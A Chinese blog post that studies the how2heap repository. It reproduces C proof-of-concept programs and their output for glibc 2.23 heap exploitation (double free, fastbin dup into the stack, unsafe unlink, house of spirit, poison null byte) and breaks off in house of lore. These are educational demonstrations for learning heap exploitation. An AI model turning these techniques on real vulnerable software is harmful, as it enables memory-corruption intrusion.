1. 1. how2heap
    1. 1.1. first_fit.c
    2. 1.2. glibc_2.23
      1. 1.2.1. fastbin_dup(double free)
      2. 1.2.2. fastbin_dup_into_stack
      3. 1.2.3. fastbin_dup_consolidate(double free-malloc_consolidate)
      4. 1.2.4. house_of_spirit(伪造chunk)
      5. 1.2.5. poison_null_byte(off-by-null)
      6. 1.2.6. house_of_lore(small bin)
      7. 1.2.7. overlapping_chunks
      8. 1.2.8. overlapping_chunks_2
      9. 1.2.9. house_of_force(top_chunk)
      10. 1.2.10. unsorted_bin_attack
      11. 1.2.11. house_of_einherjar(off-by-null)
      12. 1.2.12. house_of_orange(top chunk + FSOP)
      13. 1.2.13. house_of_roman(无show函数)
      14. 1.2.14. large_bin_attack(跟 unsorted bin attack 实现的功能差不多)
      15. 1.2.15. house_of_storm(unsorted bin attack + large bin attack)
      16. 1.2.16. mmap_overlapping_chunks(mmap)
    3. 1.3. glibc_2.27
      1. 1.3.1. fastbin_dup(double free)
      2. 1.3.2. fastbin_dup_into_stack(分配到栈上)
      3. 1.3.3. fastbin_reverse_into_tcache
      4. 1.3.4. house_of_botcake(double free)
      5. 1.3.5. tcache_poisoning(打fd)
      6. 1.3.6. tcache_house_of_spirit(在栈上伪造chunk)
      7. 1.3.7. tcache_stashing_unlink_attack(2.27&2.29 smallbin & calloc)
      8. 1.3.8. fastbin_dup_consolidate(double free)
      9. 1.3.9. overlapping_chunks(off-by-one)
      10. 1.3.10. poison_null_byte(off-by-null)
      11. 1.3.11. mmap_overlapping_chunks(mmap)
      12. 1.3.12. house_of_botcake(double free)
      13. 1.3.13. house_of_einherjar(off-by-null)
      14. 1.3.14. house_of_force(top chunk)
      15. 1.3.15. house_of_lore(small bin)
      16. 1.3.16. house_of_mind_fastbin(arena)
      17. 1.3.17. unsorted_bin_attack
      18. 1.3.18. large_bin_attack
      19. 1.3.19. house_of_storm(largebin + unsortedbin)
    4. 1.4. 2.31
      1. 1.4.1. fastbin_dup(double free)
      2. 1.4.2. fastbin_dup_into_stack(分配到栈上)
      3. 1.4.3. fastbin_reverse_into_tcache
    5. 1.5. Reference

how2heap系列学习(持续更新)

how2heap学习篇。https://github.com/shellphish/how2heap

之前写过glibc2.23的源码分析,这里可以照着源码来看。 2.27的话就是加了一个tcache这个东西,之后的版本也差不了太多,但是2.34把malloc_hook这些给删除了

这里争对的是linux,win下的堆分配不一样。

how2heap

first_fit.c

这就是告诉了我们glibc使用了first_fit这个算法来分配空闲堆块,分配时存在一个大小满足的空闲chunk,就会优先选择使用此chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

运行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x5555555592a0
2nd malloc(0x256): 0x5555555597c0
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x5555555592a0 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x5555555592a0
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x5555555592a0
And put a different string here, "this is C!"
3rd allocation 0x5555555592a0 points to this is C!
first allocation 0x5555555592a0 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

glibc_2.23

笔者写了2.23下的源码分析,用how2heap来实践学习一下

fastbin_dup(double free)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

assert(a == c);
}

这里其实就是实现了一个double free的功能,最后malloc时会有两个堆块共用一个内存

执行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x55555555b010
2nd malloc(8): 0x55555555b030
3rd malloc(8): 0x55555555b050
Freeing the first one...
If we free 0x55555555b010 again, things will crash because 0x55555555b010 is at the top of the free list.
So, instead, we'll free 0x55555555b030.
Now, we can free 0x55555555b010 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b010, 0x55555555b030, 0x55555555b010 ]. If we malloc 3 times, we'll get 0x55555555b010 twice!
1st malloc(8): 0x55555555b010
2nd malloc(8): 0x55555555b030
3rd malloc(8): 0x55555555b010

fastbin_dup_into_stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

这种攻击方式也是在堆中非常常见的,先进行double free接着改fd为目标地址,再申请过去就可以实现申请任意地址,这里还有一个非常重要的信息,需要伪造size。为什么要伪造size可以照着看2.23的源码。这里给的代码是申请地址到stack上

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fffffffdd20.
Allocating 3 buffers.
1st malloc(8): 0x55555555b010
2nd malloc(8): 0x55555555b030
3rd malloc(8): 0x55555555b050
Freeing the first one...
If we free 0x55555555b010 again, things will crash because 0x55555555b010 is at the top of the free list.
So, instead, we'll free 0x55555555b030.
Now, we can free 0x55555555b010 again, since it's not the head of the free list.
Now the free list has [ 0x55555555b010, 0x55555555b030, 0x55555555b010 ]. We'll now carry out our attack by modifying data at 0x55555555b010.
1st malloc(8): 0x55555555b010
2nd malloc(8): 0x55555555b030
Now the free list has [ 0x55555555b010 ].
Now, we have access to 0x55555555b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x55555555b010 to point right before the 0x20.
3rd malloc(8): 0x55555555b010, putting the stack address on the free list
4th malloc(8): 0x7fffffffdd20

fastbin_dup_consolidate(double free-malloc_consolidate)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

这里其实就是用的large bin中malloc_consolidate这个来进行double free。13行下个断点之后,p1被释放掉并放进了small bin中

接下来的free(p1)还是正常的进fastbin,此时p1被释放了两次,再次申请两次时会用同一个地址。看过2.23下的源码就可以发现fastbin不可以直接free(p1) free(p1)因为会检测第一个与第二个是否一样,但这里第一次将p1放入到了smallbins中所以第二次free的时候没有影响。

运行结果

1
2
3
4
5
6
7
Allocated two fastbins: p1=0x55555555b010 p2=0x55555555b060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x55555555b0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x55555555b010 0x55555555b010

unsafe_unlink(unlink)

利用unlink attack实现任意地址读/写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;

printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);

printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);

// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}

这个就是一个典型的unlink attack。伪造fd和bk再将下一个chunk的pre_size和size改掉然后释放掉,就可以控制到fd和bk那里的值。(之所以要伪造prev_size和size是因为2.23下的检测

如上图所示chunk0_ptr[3] = (uint64_t) victim_string;3被改成了hello!~。这个例子使用了unlink attack实现了实现任意地址读/写。想要看更加具体的unlink attack笔者在前面的文章中已经写过了里面有实战内容。

最后的运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 14.04/16.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

The global chunk0_ptr is at 0x55d597f58068, pointing to 0x55d59851c010
The victim chunk we are going to corrupt is at 0x55d59851c0a0

We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x55d597f58050
Fake chunk bk: 0x55d597f58058

We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA��Q��U

house_of_spirit(伪造chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

house of spirit的核心就是在伪造chunk,然后将指针覆盖就可以申请到目标地址

这里首先创建了一个空指针,还有一个栈上的数组,接着在这个数组上构造了chunk的必要条件

覆盖了指针为数组的第三个元素,释放这个指针,可以释放成功的原因是因为chunk的必要条件已经构造好了,堆管理把这个伪造的chunk认为是一个正常的chunk。最后申请一个大小的size就可以控制目标地址了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7fffffffdce8 and the second at 0x7fffffffdd28.
This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffdce8.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffdce8, which will be 0x7fffffffdcf0!
malloc(0x30): 0x7fffffffdcf0

poison_null_byte(off-by-null)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

uint8_t* a;
uint8_t* b;
uint8_t* c;
uint8_t* b1;
uint8_t* b2;
uint8_t* d;
void *barrier;

printf("We allocate 0x100 bytes for 'a'.\n");
a = (uint8_t*) malloc(0x100);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
"(it may be more than 0x100 because of rounding): %#x\n", real_a_size);

/* chunk size attribute cannot have a least significant byte with a value of 0x00.
* the least significant byte of this will be 0x10, because the size of the chunk includes
* the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0x200);

printf("b: %p\n", b);

c = (uint8_t*) malloc(0x100);
printf("c: %p\n", c);

barrier = malloc(0x100);
printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);

// added fix for size==prev_size(next_chunk) check in newer versions of glibc
// https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30
// this added check requires we are allowed to have null pointers in b (not just a c string)
//*(size_t*)(b+0x1f0) = 0x200;
printf("In newer versions of glibc we will need to have our updated size inside b itself to pass "
"the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
// we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
// which is the value of b.size after its first byte has been overwritten with a NULL byte
*(size_t*)(b+0x1f0) = 0x200;

// this technique works by overwriting the size metadata of a free chunk
free(b);

printf("b.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x200 + 0x10) | prev_in_use\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
printf("b.size: %#lx\n", *b_size_ptr);

uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

// This malloc will result in a call to unlink on the chunk where b was.
// The added check (commit id: 17f487b), if not properly handled as we did before,
// will detect the heap corruption now.
// The check is this: chunksize(P) != prev_size (next_chunk(P)) where
// P == b-0x10, chunksize(P) == *(b-0x10+0x8) == 0x200 (was 0x210 before the overflow)
// next_chunk(P) == b-0x10+0x200 == b+0x1f0
// prev_size (next_chunk(P)) == *(b+0x1f0) == 0x200
printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
b1 = malloc(0x100);

printf("b1: %p\n",b1);
printf("Now we malloc 'b1'. It will be placed where 'b' was. "
"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
printf("We malloc 'b2', our 'victim' chunk.\n");
// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

b2 = malloc(0x80);
printf("b2: %p\n",b2);

memset(b2,'B',0x80);
printf("Current b2 content:\n%s\n",b2);

printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

free(b1);
free(c);

printf("Finally, we allocate 'd', overlapping 'b2'.\n");
d = malloc(0x300);
printf("d: %p\n",d);

printf("Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);

printf("New b2 content:\n%s\n",b2);

printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
"for the clear explanation of this technique.\n");

assert(strstr(b2, "DDDDDDDDDDDD"));
}

当程序存在off-by-null漏洞的时候就可以使用这个攻击。

首先申请了四个chunk,分别是0x100, 0x200, 0x100, 0x100。最后一个barrier是为了防止与top chunk合并。

接下来是要用off-by-null将b这里的size变成0x200,然后对其进行释放,2.23下肯定要过检测:会检查 chunk size 与 next chunk 的 prev_size 是否相等,所以第58行将伪造了一个next chunk的prev_size为0x200。

释放,并改b的size为0x200

申请0x100大小的chunk,这个时候会将unsortedbin进行分割,b1就会落在原来的b的起始位置。

申请0x80大小的chunk作为b2并对b2进行填充

现在释放b1和c,这两个中间包含着b2。可以看到这三个chunk已经合并起来了,假如直接申请0x300大小的chunk是不是就可以随心所卻的控制b2了(XD

申请一个chunk d并填充数据,b2的的content就会被覆盖。这就是利用off-by-null漏洞实现over lapping

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Welcome to poison null byte 2.0!
Tested in Ubuntu 16.04 64bit.
This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x100 bytes for 'a'.
a: 0x55555555b010
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0x55555555b120
c: 0x55555555b330
We allocate a barrier at 0x55555555b440, so that c is not consolidated with the top-chunk when freed.
The barrier is not strictly necessary, but makes things less confusing
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0x210
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
b1: 0x55555555b120
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 0x210
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
We malloc 'b2', our 'victim' chunk.
b2: 0x55555555b230
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x55555555b120
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explanation of this technique.

house_of_lore(small bin)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
